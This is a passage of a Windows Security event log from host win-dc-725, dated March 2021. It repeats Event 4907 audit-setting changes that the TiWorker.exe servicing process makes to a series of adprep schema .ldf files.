	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247711
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch46.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247710
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch45.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247709
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch44.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247708
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch43.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247707
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch42.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247706
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch41.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247705
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch40.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247704
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch39.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247703
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch38.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247702
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch37.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247701
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch36.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247700
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch35.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247699
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch34.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247698
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch33.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247697
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch32.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247696
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch31.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247695
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch30.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247694
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch29.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247693
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch28.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247692
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch27.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247691
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch26.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247690
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch25.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247689
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch24.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247688
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch23.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247687
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch22.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247686
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch21.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247685
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch20.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247684
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch19.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247683
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch18.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247682
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch17.ldf
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247681
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch16.ldf
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247680
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch15.ldf
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247679
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep\sch14.ldf
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
